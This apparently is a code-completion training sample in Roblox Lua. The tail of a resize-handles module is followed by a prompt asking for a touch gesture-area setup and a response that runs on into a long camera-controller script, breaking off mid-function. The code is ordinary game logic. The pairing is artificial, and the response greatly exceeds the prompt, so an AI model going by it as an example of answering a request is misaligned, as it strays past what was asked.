    local HandleSize = math.max(12, 0.5 * PixelsPerStud) * (self.IsMouseAvailable and 1 or 1.6)
    Handle.Size = UDim2.new(0, HandleSize, 0, HandleSize)

    -- Calculate where handles will appear on the screen
    Handle.Position = UDim2.new(
        0, HandleViewportPoint.X,
        0, HandleViewportPoint.Y
    )

    -- Calculate where handles will appear in the world
    local HandlePlaneNormal = (Handle.Name == 'Top' or Handle.Name == 'Bottom') and
        AdorneeCFrame.LookVector or
        AdorneeCFrame.UpVector

    -- Save handle position
    local HandleState = self.HandleStates[Handle] or {}
    self.HandleStates[Handle] = HandleState
    HandleState.PlaneNormal = HandlePlaneNormal
    HandleState.HandleCFrame = HandleCFrame
    HandleState.HandleNormal = HandleNormal
    HandleState.AdorneeViewportPosition = AdorneeViewportPoint
    HandleState.HandleViewportPosition = HandleViewportPoint

    -- Hide handles if obscured by a non-blacklisted part
    local HandleRay = Camera:ViewportPointToRay(HandleViewportPoint.X, HandleViewportPoint.Y)
    local TargetRay = Ray.new(HandleRay.Origin, HandleRay.Direction * (HandleCameraDepth - 0.25))
    local Target, TargetPoint = Workspace:FindPartOnRayWithIgnoreList(TargetRay, self.ObstacleBlacklist)
    if Target then
        Handle.ImageTransparency = 1
    elseif Handle.ImageTransparency == 1 then
        Handle.ImageTransparency = 0.33
    end

end

function Handles:Destroy()

    -- Pause updating
    self.Running = nil

    -- Clean up resources
    self.Maid:Destroy()

end

return Handles


Prompt: -- Setup gesture area that camera uses while DynamicThumbstick is enabled

Response:
local function OnCharacterAdded(character)
	if UserInputService.TouchEnabled then
		if PlayerGui then
			local ScreenGui = Instance.new("ScreenGui")
			ScreenGui.Name = "GestureArea"
			ScreenGui.Parent = PlayerGui

			GestureArea = Instance.new("Frame")
			GestureArea.BackgroundTransparency = 1.0
			GestureArea.Visible = true
			GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			layoutGestureArea(PortraitMode)
			GestureArea.Parent = ScreenGui

		end
		for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
			if child:IsA("Tool") then
				IsAToolEquipped = true
			end
		end
		character.ChildAdded:Connect(function(child)
			if child:IsA("Tool") then
				IsAToolEquipped = true
			end
		end)
		character.ChildRemoved:Connect(function(child)
			if child:IsA("Tool") then
				IsAToolEquipped = false
			end
		end)
	end
end

if LocalPlayer then
	if LocalPlayer.Character ~= nil then
		OnCharacterAdded(LocalPlayer.Character)
	end
	LocalPlayer.CharacterAdded:connect(function(character)
		OnCharacterAdded(character)
	end)
end

local function positionIntersectsGuiObject(position, guiObject)
	if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
		and position.X > guiObject.AbsolutePosition.X
		and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
		and position.Y > guiObject.AbsolutePosition.Y then
		return true
	end
	return false
end

local function GetRenderCFrame(part)
	return part:GetRenderCFrame()
end

local function CreateCamera()
	local this = {}
	local R15HeadHeight = R15_HEAD_OFFSET
	function this:GetActivateValue()
		return 0.7
	end

	function this:IsPortraitMode()
		return PortraitMode
	end

	function this:GetRotateAmountValue(vrRotationIntensity)
		vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
		if vrRotationIntensity then
			if vrRotationIntensity == "Low" then
				return VR_LOW_INTENSITY_ROTATION
			elseif vrRotationIntensity == "High" then
				return VR_HIGH_INTENSITY_ROTATION
			end
		end
		return ZERO_VECTOR2
	end
	function this:GetRepeatDelayValue(vrRotationIntensity)
		vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
		if vrRotationIntensity then
			if vrRotationIntensity == "Low" then
				return VR_LOW_INTENSITY_REPEAT
			elseif vrRotationIntensity == "High" then
				return VR_HIGH_INTENSITY_REPEAT
			end
		end
		return 0
	end

	this.ShiftLock = false
	this.Enabled = false
	local isFirstPerson = false
	local isRightMouseDown = false
	local isMiddleMouseDown = false
	this.RotateInput = ZERO_VECTOR2
	this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
	this.activeGamepad = nil

	local tweens = {}

	this.lastSubject = nil
	this.lastSubjectPosition = Vector3.new(0, 5, 0)

	local lastVRRotation = 0
	local vrRotateKeyCooldown = {}

	local isDynamicThumbstickEnabled = false

	-- Check for changes in ViewportSize to decide if PortraitMode
	local CameraChangedConn = nil
	local workspaceCameraChangedConn = nil
	local function onWorkspaceCameraChanged()
		if UserInputService.TouchEnabled then
			if CameraChangedConn then
				CameraChangedConn:Disconnect()
				CameraChangedConn = nil
			end
			local newCamera = workspace.CurrentCamera
			if newCamera then
				local size = newCamera.ViewportSize
				PortraitMode = size.X < size.Y
				layoutGestureArea(PortraitMode)
				DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
				CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
					size = newCamera.ViewportSize
					PortraitMode = size.X < size.Y
					layoutGestureArea(PortraitMode)
					DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
				end)
			end
		end
	end
	workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
	if workspace.CurrentCamera then
		onWorkspaceCameraChanged()
	end

	function this:GetShiftLock()
		return ShiftLockController:IsShiftLocked()
	end

	function this:GetHumanoid()
		local player = PlayersService.LocalPlayer
		return findPlayerHumanoid(player)
	end

	function this:GetHumanoidRootPart()
		local humanoid = this:GetHumanoid()
		return humanoid and humanoid.Torso
	end

	function this:GetRenderCFrame(part)
		GetRenderCFrame(part)
	end

	local STATE_DEAD = Enum.HumanoidStateType.Dead

	-- HumanoidRootPart when alive, Head part when dead
	local function getHumanoidPartToFollow(humanoid, humanoidStateType)
		if humanoidStateType == STATE_DEAD then
			local character = humanoid.Parent
			if character then
				return character:FindFirstChild("Head") or humanoid.Torso
			else
				return humanoid.Torso
			end
		else
			return humanoid.Torso
		end
	end

	local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead

	function this:GetSubjectPosition()
		local result = nil
		local camera = workspace.CurrentCamera
		local cameraSubject = camera and camera.CameraSubject
		if cameraSubject then
			if cameraSubject:IsA('Humanoid') then
				local humanoidStateType = cameraSubject:GetState()
				if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
					result = this.lastSubjectPosition
				else
					local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
					if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
						local subjectCFrame = GetRenderCFrame(humanoidRootPart)
						local heightOffset = ZERO_VECTOR3
						if humanoidStateType ~= STATE_DEAD then
							heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
						end

						result = subjectCFrame.p +
							subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
					end
				end
			elseif cameraSubject:IsA('VehicleSeat') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				local offset = SEAT_OFFSET
				if VRService.VREnabled then
					offset = VR_SEAT_OFFSET
				end
				result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
			elseif cameraSubject:IsA('SkateboardPlatform') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p + SEAT_OFFSET
			elseif cameraSubject:IsA('BasePart') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p
			elseif cameraSubject:IsA('Model') then
				result = cameraSubject:GetModelCFrame().p
			end
		end
		this.lastSubject = cameraSubject
		this.lastSubjectPosition = result
		return result
	end

	function this:ResetCameraLook()
	end

	function this:GetCameraLook()
		return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
	end

	function this:GetCameraZoom()
		if this.currentZoom == nil then
			local player = PlayersService.LocalPlayer
			this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
		end
		return this.currentZoom
	end

	function this:GetCameraActualZoom()
		local camera = workspace.CurrentCamera
		if camera then
			return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
		end
	end

	function this:GetCameraHeight()
		if VRService.VREnabled and not this:IsInFirstPerson() then
			local zoom = this:GetCameraZoom()
			return math.sin(VR_ANGLE) * zoom
		end
		return 0
	end

	function this:ViewSizeX()
		local result = 1024
		local camera = workspace.CurrentCamera
		if camera then
			result = camera.ViewportSize.X
		end
		return result
	end

	function this:ViewSizeY()
		local result = 768
		local camera = workspace.CurrentCamera
		if camera then
			result = camera.ViewportSize.Y
		end
		return result
	end

	local math_asin = math.asin
	local math_atan2 = math.atan2
	local math_floor = math.floor
	local math_max = math.max
	local math_pi = math.pi
	local Vector2_new = Vector2.new
	local Vector3_new = Vector3.new
	local CFrame_Angles = CFrame.Angles
	local CFrame_new = CFrame.new

	function this:ScreenTranslationToAngle(translationVector)
		local screenX = this:ViewSizeX()
		local screenY = this:ViewSizeY()
		local xTheta = (translationVector.x / screenX)
		local yTheta = (translationVector.y / screenY)
		return Vector2_new(xTheta, yTheta)
	end

	function this:MouseTranslationToAngle(translationVector)
		local xTheta = (translationVector.x / 1920)
		local yTheta = (translationVector.y / 1200)
		return Vector2_new(xTheta, yTheta)
	end

	function this:RotateVector(startVector, xyRotateVector)
		local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
		local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
		return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
	end

	function this:RotateCamera(startLook, xyRotateVector)
		if VRService.VREnabled then
			local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
			return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
		else
			local startVertical = math_asin(startLook.y)
			local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
			return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
		end
	end

	function this:IsInFirstPerson()
		return isFirstPerson
	end

	-- there are several cases to consider based on the state of input and camera rotation mode
	function this:UpdateMouseBehavior()
		-- first time transition to first person mode or shiftlock
		if isFirstPerson or self:GetShiftLock() then
			pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
			if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
			end
		else
			pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
			if isRightMouseDown or isMiddleMouseDown then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
			else
				UserInputService.MouseBehavior = Enum.MouseBehavior.Default
			end
		end
	end

	function this:ZoomCamera(desiredZoom)
		local player = PlayersService.LocalPlayer
		if player then
			if player.CameraMode == Enum.CameraMode.LockFirstPerson then
				this.currentZoom = 0
			else
				this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
			end
		end

		isFirstPerson = self:GetCameraZoom() < 2

		ShiftLockController:SetIsInFirstPerson(isFirstPerson)
		-- set mouse behavior
		self:UpdateMouseBehavior()
		return self:GetCameraZoom()
	end

	function this:rk4Integrator(position, velocity, t)
		local direction = velocity < 0 and -1 or 1
		local function acceleration(p, v)
			local accel = direction * math_max(1, (p / 3.3) + 0.5)
			return accel
		end

		local p1 = position
		local v1 = velocity
		local a1 = acceleration(p1, v1)
		local p2 = p1 + v1 * (t / 2)
		local v2 = v1 + a1 * (t / 2)
		local a2 = acceleration(p2, v2)
		local p3 = p1 + v2 * (t / 2)
		local v3 = v1 + a2 * (t / 2)
		local a3 = acceleration(p3, v3)
		local p4 = p1 + v3 * t
		local v4 = v1 + a3 * t
		local a4 = acceleration(p4, v4)

		local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
		local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
		return positionResult, velocityResult
	end

	function this:ZoomCameraBy(zoomScale)
		local zoom = this:GetCameraActualZoom()

		if zoom then
			-- Can break into more steps to get more accurate integration
            zoom = self:rk4Integrator(zoom, zoomScale, 1)
			self:ZoomCamera(zoom)
		end
		return self:GetCameraZoom()
	end

	function this:ZoomCameraFixedBy(zoomIncrement)
		return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
	end

	function this:Update()
	end

	----- VR STUFF ------

	function this:ApplyVRTransform()
		if not VRService.VREnabled then
			return
		end
		--we only want this to happen in first person VR
		local player = PlayersService.LocalPlayer
		if not (player and player.Character
				and player.Character:FindFirstChild("HumanoidRootPart")
				and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
			return
		end

		local camera = workspace.CurrentCamera
		local cameraSubject = camera.CameraSubject
		local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')

		if this:IsInFirstPerson() and not isInVehicle then
			local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
			local vrRotation = vrFrame - vrFrame.p
			local rootJoint = player.Character.HumanoidRootPart.RootJoint
			rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
		else
			local rootJoint = player.Character.HumanoidRootPart.RootJoint
			rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
		end
	end

	local vrRotationIntensityExists = true
	local lastVrRotationCheck = 0
	function this:ShouldUseVRRotation()
		if not VRService.VREnabled then
			return false
		end
		if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end

		local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
		vrRotationIntensityExists = success and vrRotationIntensity ~= nil
		lastVrRotationCheck = tick()

		return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
	end

	function this:GetVRRotationInput()
		local vrRotateSum = ZERO_VECTOR2

		local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")

		local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
		local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)

		if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
			if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
				local sign = 1
				if vrGamepadRotation.x < 0 then
					sign = -1
				end
				vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
				vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
			end
		elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
			vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
		end
		if self.TurningLeft then
			if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
				vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
				vrRotateKeyCooldown[Enum.KeyCode.Left] = true
			end
		else
			vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
		end
		if self.TurningRight then
			if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
				vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
				vrRotateKeyCooldown[Enum.KeyCode.Right] = true
			end
		else
			vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
		end

		if vrRotateSum ~= ZERO_VECTOR2 then
			lastVRRotation = tick()
		end

		return vrRotateSum
	end

	local cameraTranslationConstraints = Vector3.new(1, 1, 1)
	local humanoidJumpOrigin = nil
	local trackingHumanoid = nil
	local cameraFrozen = false
	local subjectStateChangedConn = nil
	local cameraSubjectChangedConn = nil
	local workspaceChangedConn = nil
	local humanoidChildAddedConn = nil
	local humanoidChildRemovedConn = nil

	local function cancelCameraFreeze(keepConstraints)
		if not keepConstraints then
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
		end
		if cameraFrozen then
			trackingHumanoid = nil
			cameraFrozen = false
		end
	end

	local function startCameraFreeze(subjectPosition, humanoidToTrack)
		if not cameraFrozen then
			humanoidJumpOrigin = subjectPosition
			trackingHumanoid = humanoidToTrack
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
			cameraFrozen = true
		end
	end

	local function rescaleCameraOffset(newScaleFactor)
		R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
	end

	local function onHumanoidSubjectChildAdded(child)
		if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
			if heightScaleChangedConn then
				heightScaleChangedConn:disconnect()
			end
			heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
			rescaleCameraOffset(child.Value)
		end
	end

	local function onHumanoidSubjectChildRemoved(child)
		if child.Name == "BodyHeightScale" then
			rescaleCameraOffset(1)
			if heightScaleChangedConn then
				heightScaleChangedConn:disconnect()
				heightScaleChangedConn = nil
			end
		end
	end

	local function onNewCameraSubject()
		if subjectStateChangedConn then
			subjectStateChangedConn:disconnect()
			subjectStateChangedConn = nil
		end
		if humanoidChildAddedConn then
			humanoidChildAddedConn:disconnect()
			humanoidChildAddedConn = nil
		end
		if humanoidChildRemovedConn then
			humanoidChildRemovedConn:disconnect()
			humanoidChildRemovedConn = nil
		end
		if heightScaleChangedConn then
			heightScaleChangedConn:disconnect()
			heightScaleChangedConn = nil
		end

		local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
		if trackingHumanoid ~= humanoid then
			cancelCameraFreeze()
		end
		if humanoid and humanoid:IsA('Humanoid') then
			humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
			humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
			for _, child in pairs(humanoid:GetChildren()) do
				onHumanoidSubjectChildAdded(child)
			end

			subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
				if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
					startCameraFreeze(this:GetSubjectPosition(), humanoid)
				elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
					cancelCameraFreeze(true)
				end
			end)
		end
	end

 	local function onCurrentCameraChanged()
		if cameraSubjectChangedConn then
			cameraSubjectChangedConn:disconnect()
			cameraSubjectChangedConn = nil
		end
  		local camera = workspace.CurrentCamera
  		if camera then
			cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
			onNewCameraSubject()
  		end
  	end

	function this:GetVRFocus(subjectPosition, timeDelta)
		local newFocus = nil

		local camera = workspace.CurrentCamera
		local lastFocus = self.LastCameraFocus or subjectPosition
		if not cameraFrozen then
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
		end
		if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
			newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
		else
			newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
		end

		if cameraFrozen then
			-- No longer in 3rd person
			if self:IsInFirstPerson() then -- not VRService.VREnabled
				cancelCameraFreeze()
			end
			-- This case you jumped off a cliff and want to keep your character in view
			-- 0.5 is to fix floating point error when not jumping off cliffs
			if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
				cancelCameraFreeze()
			end
		end

		return newFocus
	end

	------------------------

	---- Input Events ----
	local startPos = nil
	local lastPos = nil
	local panBeginLook = nil
	local lastTapTime = nil

	local fingerTouches = {}
	local NumUnsunkTouches = 0

	local inputStartPositions = {}
	local inputStartTimes = {}

	local StartingDiff = nil
	local pinchBeginZoom = nil

	this.ZoomEnabled = true
	this.PanEnabled = true
	this.KeyPanEnabled = true

	local function OnTouchBegan(input, processed)
		--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
		if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then
			fingerTouches[input] = processed
			if not processed then
				inputStartPositions[input] = input.Position
				inputStartTimes[input] = tick()
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end
	end

	local function OnTouchChanged(input, processed)

		if fingerTouches[input] == nil then
			if isDynamicThumbstickEnabled then
				return
			end
			fingerTouches[input] = processed
			if not processed then
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end

		if NumUnsunkTouches == 1 then
			if fingerTouches[input] == false then
				panBeginLook = panBeginLook or this:GetCameraLook()
				startPos = startPos or input.Position
				lastPos = lastPos or startPos
				this.UserPanningTheCamera = true

				local delta = input.Position - lastPos

				delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())

				if this.PanEnabled then
					local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
					this.RotateInput = this.RotateInput + desiredXYVector
				end

				lastPos = input.Position
			end
		else
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
		end
		if NumUnsunkTouches == 2 then
			local unsunkTouches = {}
			for touch, wasSunk in pairs(fingerTouches) do
				if not wasSunk then
					table.insert(unsunkTouches, touch)
				end
			end
			if #unsunkTouches == 2 then
				local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
				if StartingDiff and pinchBeginZoom then
					local scale = difference / math_max(0.01, StartingDiff)
					local clampedScale = clamp(0.1, 10, scale)
					if this.ZoomEnabled then
						this:ZoomCamera(pinchBeginZoom / clampedScale)
					end
				else
					StartingDiff = difference
					pinchBeginZoom = this:GetCameraActualZoom()
				end
			end
		else
			StartingDiff = nil
			pinchBeginZoom = nil
		end
	end

	local function calcLookBehindRotateInput(torso)
		if torso then
			local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
			local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
			local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
			if not IsFinite(horizontalShift) then
				horizontalShift = 0
			end
			if not IsFinite(vertShift) then
				vertShift = 0
			end

			return Vector2.new(horizontalShift, vertShift)
		end
		return nil
	end

	local OnTouchTap = nil
	if not touchWorkspaceEventEnabled then
		OnTouchTap = function(position)
			if isDynamicThumbstickEnabled and not IsAToolEquipped then
				if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
					local tween = {
						from = this:GetCameraZoom(),
						to = DefaultZoom,
						start = tick(),
						duration = 0.2,
						func = function(from, to, alpha)
							this:ZoomCamera(from + (to - from)*alpha)
							return to
						end
					}
					tweens["Zoom"] = tween
				else
					local humanoid = this:GetHumanoid()
					if humanoid then
						local player = PlayersService.LocalPlayer
						if player and player.Character then
							if humanoid and humanoid.Torso then
								local tween = {
									from = this.RotateInput,
									to = calcLookBehindRotateInput(humanoid.Torso),
									start = tick(),
									duration = 0.2,
									func = function(from, to, alpha)
										to = calcLookBehindRotateInput(humanoid.Torso)
										if to then
											this.RotateInput = from + (to - from)*alpha
										end
										return to
									end
								}
								tweens["Rotate"] = tween

								-- reset old camera info so follow cam doesn't rotate us
								this.LastCameraTransform = nil
							end
						end
					end
				end
				lastTapTime = tick()
			end
		end
	end

	local function IsTouchTap(input)
		-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
		if inputStartPositions[input] then
			local posDelta = (inputStartPositions[input] - input.Position).magnitude
			if posDelta < MAX_TAP_POS_DELTA then
				local timeDelta = inputStartTimes[input] - tick()
				if timeDelta < MAX_TAP_TIME_DELTA then
					return true
				end
			end
		end
		return false
	end

	local function OnTouchEnded(input, processed)
		if fingerTouches[input] == false then
			if NumUnsunkTouches == 1 then
				panBeginLook = nil
				startPos = nil
				lastPos = nil
				this.UserPanningTheCamera = false
				if not touchWorkspaceEventEnabled and IsTouchTap(input) then
					OnTouchTap(input.Position)
				end
			elseif NumUnsunkTouches == 2 then
				StartingDiff = nil
				pinchBeginZoom = nil
			end
		end

		if fingerTouches[input] ~= nil and fingerTouches[input] == false then
			NumUnsunkTouches = NumUnsunkTouches - 1
		end
		fingerTouches[input] = nil
		inputStartPositions[input] = nil
		inputStartTimes[input] = nil
	end

	local function OnMousePanButtonPressed(input, processed)
		if processed then return end
		this:UpdateMouseBehavior()
		panBeginLook = panBeginLook or this:GetCameraLook()
		startPos = startPos or input.Position
		lastPos = lastPos or startPos
		this.UserPanningTheCamera = true
	end

	local function OnMousePanButtonReleased(input, processed)
		this:UpdateMouseBehavior()
		if not (isRightMouseDown or isMiddleMouseDown) then
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
		end
	end

	local function OnMouse2Down(input, processed)
		if processed then return end

		isRightMouseDown = true
		OnMousePanButtonPressed(input, processed)
	end

	local function OnMouse2Up(input, processed)
		isRightMouseDown = false
		OnMousePanButtonReleased(input, processed)
	end

	local function OnMouse3Down(input, processed)
		if processed then return end

		isMiddleMouseDown = true
		OnMousePanButtonPressed(input, processed)
	end

	local function OnMouse3Up(input, processed)
		isMiddleMouseDown = false
		OnMousePanButtonReleased(input, processed)
	end

	local function OnMouseMoved(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end

		local inputDelta = input.Delta
		inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())

		if startPos and lastPos and panBeginLook then
			local currPos = lastPos + input.Delta
			local totalTrans = currPos - startPos
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
			lastPos = currPos
		elseif this:IsInFirstPerson() or this:GetShiftLock() then
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
		end
	end

	local function OnMouseWheel(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end
		if not processed then
			if this.ZoomEnabled then
                this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
			end
		end
	end

	local function round(num)
		return math_floor(num + 0.5)
	end

	local eight2Pi = math_pi / 4

	local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
		if camLook ~= ZERO_VECTOR3 then
			camLook = camLook.unit
			local currAngle = math_atan2(camLook.z, camLook.x)
			local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
			return newAngle - currAngle
		end
		return 0
	end

	local function OnKeyDown(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end
		if processed then return end
		if this.ZoomEnabled then
			if input.KeyCode == Enum.KeyCode.I then
				this:ZoomCameraBy(-5)
			elseif input.KeyCode == Enum.KeyCode.O then
				this:ZoomCameraBy(5)
			end
		end
		if panBeginLook == nil and this.KeyPanEnabled then
			if input.KeyCode == Enum.KeyCode.Left then
				this.TurningLeft = true
			elseif input.KeyCode == Enum.KeyCode.Right then
				this.TurningRight = true
			elseif input.KeyCode == Enum.KeyCode.Comma then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.Period then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.PageUp then
			--elseif input.KeyCode == Enum.KeyCode.Home then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
				this.LastCameraTransform = nil
			elseif input.KeyCode == Enum.KeyCode.PageDown then
			--elseif input.KeyCode == Enum.KeyCode.End then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
				this.LastCameraTransform = nil
			end
		end
	end

	local function OnKeyUp(input, processed)
		if input.KeyCode == Enum.KeyCode.Left then
			this.TurningLeft = false
		elseif input.KeyCode == Enum.KeyCode.Right then
			this.TurningRight = false
		end
	end

	local lastThumbstickRotate = nil
	local numOfSeconds = 0.7
	local currentSpeed = 0
	local maxSpeed = 6
	local vrMaxSpeed = 4
	local lastThumbstickPos = Vector2.new(0,0)
	local ySensitivity = 0.65
	local lastVelocity = nil

	-- K is a tunable parameter that changes the shape of the S-curve
	-- the larger K is the more straight/linear the curve gets
	local k = 0.35
	local lowerK = 0.8
	local function SCurveTranform(t)
		t = clamp(-1,1,t)
		if t >= 0 then
			return (k*t) / (k - t + 1)
		end
		return -((lowerK*-t) / (lowerK + t + 1))
	end

	-- DEADZONE
	local DEADZONE = 0.1
	local function toSCurveSpace(t)
		return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
	end

	local function fromSCurveSpace(t)
		return t/2 + 0.5
	end

	local function gamepadLinearToCurve(thumbstickPosition)
		local function onAxis(axisValue)
			local sign = 1
			if axisValue < 0 then
				sign = -1
			end
